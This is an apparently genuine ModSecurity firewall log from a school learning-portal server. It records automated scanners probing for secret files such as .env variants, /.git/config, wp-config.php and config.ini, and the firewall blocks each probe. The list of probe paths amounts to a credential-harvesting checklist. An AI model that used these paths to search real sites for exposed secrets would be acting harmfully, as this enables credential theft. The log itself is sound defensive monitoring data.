[Tue Dec 02 14:29:29.512853 2025] [:error] [pid 5273:tid 5325] [client 18.138.234.72:60310] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lab/.env"] [unique_id "aS6HSSMmXO5H1kNwHHXjcQAAAZc"]
[Tue Dec 02 14:29:29.901893 2025] [:error] [pid 5232:tid 5243] [client 18.138.234.72:60322] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cronlab/.env"] [unique_id "aS6HSQApmO-auDy1ob6fMAAAAQk"]
[Tue Dec 02 14:29:30.295362 2025] [:error] [pid 3647:tid 3665] [client 18.138.234.72:60328] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cron/.env"] [unique_id "aS6HSlJaqGDFgh_0XI9FTQAAAAw"]
[Tue Dec 02 14:29:30.697015 2025] [:error] [pid 3647:tid 3664] [client 18.138.234.72:60336] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/.env"] [unique_id "aS6HSlJaqGDFgh_0XI9FTwAAAAs"]
[Tue Dec 02 14:29:31.115372 2025] [:error] [pid 5272:tid 5280] [client 18.138.234.72:60344] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/app/.env"] [unique_id "aS6HS-wbFoRzPGfZYVQT9gAAAUU"]
[Tue Dec 02 14:29:31.509230 2025] [:error] [pid 5232:tid 5234] [client 18.138.234.72:60360] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/Datavase/.env"] [unique_id "aS6HSwApmO-auDy1ob6fNwAAAQA"]
[Tue Dec 02 14:29:31.904433 2025] [:error] [pid 5232:tid 5251] [client 18.138.234.72:60372] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database/.env"] [unique_id "aS6HSwApmO-auDy1ob6fOAAAARE"]
[Tue Dec 02 14:29:32.298721 2025] [:error] [pid 3649:tid 3728] [client 18.138.234.72:60376] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env"] [unique_id "aS6HTLwjL4uqC6YFjxE3ygAAAJE"]
[Tue Dec 02 14:29:32.691823 2025] [:error] [pid 48650:tid 48679] [client 18.138.234.72:60388] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/assets/.env"] [unique_id "aS6HTIQuWSn3xrJsXbkJYQAAAdg"]
[Tue Dec 02 14:29:33.083860 2025] [:error] [pid 5272:tid 5288] [client 18.138.234.72:60400] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "aS6HTewbFoRzPGfZYVQT-AAAAU0"]
[Tue Dec 02 14:29:33.486003 2025] [:error] [pid 48650:tid 48672] [client 18.138.234.72:60410] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/apps/.env"] [unique_id "aS6HTYQuWSn3xrJsXbkJZQAAAdE"]
[Tue Dec 02 14:29:33.886376 2025] [:error] [pid 5273:tid 5315] [client 18.138.234.72:60424] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/uploads/.env"] [unique_id "aS6HTSMmXO5H1kNwHHXjdQAAAY0"]
[Tue Dec 02 15:49:52.944593 2025] [:error] [pid 3760:tid 3780] [client 135.181.4.161:58316] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/robots.txt"] [unique_id "aS6aIFjLYEjdWVcKgVUxVAAAANI"]
[Tue Dec 02 15:49:54.071847 2025] [:error] [pid 5272:tid 5283] [client 135.181.4.161:58340] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/robots.txt"] [unique_id "aS6aIuwbFoRzPGfZYVQnLwAAAUg"]
[Tue Dec 02 15:49:54.075530 2025] [:error] [pid 5273:tid 5317] [client 135.181.4.161:58356] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/robots.txt"] [unique_id "aS6aIiMmXO5H1kNwHHX6pgAAAY8"]
[Tue Dec 02 17:10:02.383575 2025] [:error] [pid 3648:tid 3698] [client 178.62.93.86:50052] [client 178.62.93.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.93.86, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aS6s6uQEp5icp6XOJr2x8QAAAE4"]
[Tue Dec 02 17:10:03.414029 2025] [:error] [pid 3648:tid 3706] [client 178.62.93.86:50114] [client 178.62.93.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.93.86, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aS6s6-QEp5icp6XOJr2x9AAAAFY"]
[Wed Dec 03 02:29:14.098707 2025] [:error] [pid 47067:tid 47084] [client 195.178.110.11:51999] [client 195.178.110.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS8v-gcYJkWYuBnpVaplYgAAAAw"]
[Wed Dec 03 03:42:51.554683 2025] [:error] [pid 28090:tid 28166] [client 195.178.110.14:55998] [client 195.178.110.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS9BOwbhdhBZ0ZeWB4dc2wAAAJI"]
[Wed Dec 03 03:42:52.056461 2025] [:error] [pid 28088:tid 28101] [client 195.178.110.14:55998] [client 195.178.110.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS9BPCwTQ6YraU5EsK-BVAAAAAg"]
[Wed Dec 03 03:42:54.926233 2025] [:error] [pid 28088:tid 28112] [client 195.178.110.8:56255] [client 195.178.110.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS9BPiwTQ6YraU5EsK-BWQAAABM"]
[Wed Dec 03 03:43:53.184850 2025] [:error] [pid 28089:tid 28126] [client 195.178.110.11:53193] [client 195.178.110.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS9BeUYCt5vAs8Zp49OhHwAAAEU"]
[Wed Dec 03 15:07:52.239379 2025] [:error] [pid 20707:tid 20728] [client 3.37.89.235:42062] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS_hyDObjEHgU5ngsxd6ygAAARM"]
[Wed Dec 03 15:07:52.841287 2025] [:error] [pid 47815:tid 47833] [client 3.37.89.235:42248] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aS_hyETsjPA8HXY_dpGU4wAAANA"]
[Wed Dec 03 15:07:53.438727 2025] [:error] [pid 47926:tid 47937] [client 3.37.89.235:42404] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aS_hyWmj6HWCHJ9euRI5FAAAAYk"]
[Wed Dec 03 15:07:54.050895 2025] [:error] [pid 20707:tid 20709] [client 3.37.89.235:42550] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aS_hyjObjEHgU5ngsxd60wAAAQA"]
[Wed Dec 03 15:07:54.659252 2025] [:error] [pid 47926:tid 47949] [client 3.37.89.235:42700] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aS_hymmj6HWCHJ9euRI5FQAAAZU"]
[Wed Dec 03 15:07:55.258600 2025] [:error] [pid 32437:tid 32447] [client 3.37.89.235:42858] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aS_hy6BId4T5gQoDbCEgUQAAAAc"]
[Wed Dec 03 15:07:55.864294 2025] [:error] [pid 20607:tid 20614] [client 3.37.89.235:43014] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aS_hy_piIcI2BRWBwqw0sQAAAEQ"]
[Wed Dec 03 15:07:56.466322 2025] [:error] [pid 32437:tid 32446] [client 3.37.89.235:43152] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aS_hzKBId4T5gQoDbCEgVAAAAAY"]
[Wed Dec 03 15:07:57.079186 2025] [:error] [pid 20607:tid 20629] [client 3.37.89.235:43296] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aS_hzfpiIcI2BRWBwqw0swAAAFM"]
[Wed Dec 03 15:07:57.693986 2025] [:error] [pid 47926:tid 47943] [client 3.37.89.235:43440] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aS_hzWmj6HWCHJ9euRI5GQAAAY8"]
[Wed Dec 03 15:07:58.314910 2025] [:error] [pid 20669:tid 20700] [client 3.37.89.235:43588] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aS_hzpLWoJXGOhmabms1GAAAAVg"]
[Wed Dec 03 15:07:58.930013 2025] [:error] [pid 20707:tid 20729] [client 3.37.89.235:43740] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aS_hzjObjEHgU5ngsxd61gAAARQ"]
[Wed Dec 03 15:07:59.544795 2025] [:error] [pid 20707:tid 20710] [client 3.37.89.235:43866] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aS_hzzObjEHgU5ngsxd62QAAAQE"]
[Wed Dec 03 15:08:00.154727 2025] [:error] [pid 20707:tid 20713] [client 3.37.89.235:43996] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.1"] [unique_id "aS_h0DObjEHgU5ngsxd62gAAAQQ"]
[Wed Dec 03 15:08:00.784770 2025] [:error] [pid 20607:tid 20626] [client 3.37.89.235:44130] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.2"] [unique_id "aS_h0PpiIcI2BRWBwqw0tQAAAFA"]
[Wed Dec 03 15:08:01.401571 2025] [:error] [pid 32437:tid 32461] [client 3.37.89.235:44276] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod.local"] [unique_id "aS_h0aBId4T5gQoDbCEgXAAAABU"]
[Wed Dec 03 15:08:02.010654 2025] [:error] [pid 32437:tid 32445] [client 3.37.89.235:44404] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "aS_h0qBId4T5gQoDbCEgXQAAAAU"]
[Wed Dec 03 15:08:02.624142 2025] [:error] [pid 20707:tid 20712] [client 3.37.89.235:44540] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/.env"] [unique_id "aS_h0jObjEHgU5ngsxd64gAAAQM"]
[Wed Dec 03 15:08:03.228652 2025] [:error] [pid 20669:tid 20688] [client 3.37.89.235:44672] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lib/.env"] [unique_id "aS_h05LWoJXGOhmabms1IQAAAUw"]
[Wed Dec 03 15:08:03.830459 2025] [:error] [pid 20669:tid 20699] [client 3.37.89.235:44778] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lab/.env"] [unique_id "aS_h05LWoJXGOhmabms1JAAAAVc"]
[Wed Dec 03 15:08:04.436242 2025] [:error] [pid 20607:tid 20632] [client 3.37.89.235:44918] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cronlab/.env"] [unique_id "aS_h1PpiIcI2BRWBwqw0uAAAAFY"]
[Wed Dec 03 15:08:05.054450 2025] [:error] [pid 47926:tid 47946] [client 3.37.89.235:45052] [client 3.37.89.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cron/.env"] [unique_id "aS_h1Wmj6HWCHJ9euRI5HAAAAZI"]
[Thu Dec 04 03:30:24.354522 2025] [:error] [pid 3841:tid 3884] [client 54.195.9.48:49722] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTCP0BqrnhYwq_3H8CQ0SAAAAUg"]
[Thu Dec 04 03:30:25.464005 2025] [:error] [pid 3841:tid 3891] [client 54.195.9.48:49734] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTCP0RqrnhYwq_3H8CQ0SwAAAU8"]
[Thu Dec 04 03:30:26.574828 2025] [:error] [pid 63344:tid 63370] [client 54.195.9.48:49750] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aTCP0rFn6Z8FbZz0IjmV7gAAABU"]
[Thu Dec 04 03:30:27.684348 2025] [:error] [pid 3938:tid 3956] [client 54.195.9.48:49760] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aTCP0yAHKAmSjlzEts45MAAAAhA"]
[Thu Dec 04 03:30:28.799356 2025] [:error] [pid 3842:tid 3924] [client 54.195.9.48:49770] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aTCP1CaILLkuuVMSmjs1JQAAAZU"]
[Thu Dec 04 03:30:29.921001 2025] [:error] [pid 3840:tid 3863] [client 54.195.9.48:41098] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aTCP1ZF_IDAg4wPRjg7ehQAAAE8"]
[Thu Dec 04 03:30:31.031212 2025] [:error] [pid 3840:tid 3849] [client 54.195.9.48:41106] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aTCP15F_IDAg4wPRjg7eiAAAAEE"]
[Thu Dec 04 03:30:32.142715 2025] [:error] [pid 3842:tid 3927] [client 54.195.9.48:41122] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aTCP2CaILLkuuVMSmjs1JwAAAZg"]
[Thu Dec 04 03:30:44.457286 2025] [:error] [pid 3840:tid 3861] [client 54.195.9.48:57088] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aTCP5JF_IDAg4wPRjg7ekQAAAE0"]
[Thu Dec 04 03:31:01.268458 2025] [:error] [pid 3842:tid 3923] [client 54.195.9.48:45396] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php"] [unique_id "aTCP9SaILLkuuVMSmjs1UQAAAZQ"]
[Thu Dec 04 03:31:02.391803 2025] [:error] [pid 3938:tid 3957] [client 54.195.9.48:45412] [client 54.195.9.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/composer.json"] [unique_id "aTCP9iAHKAmSjlzEts45YQAAAhE"]
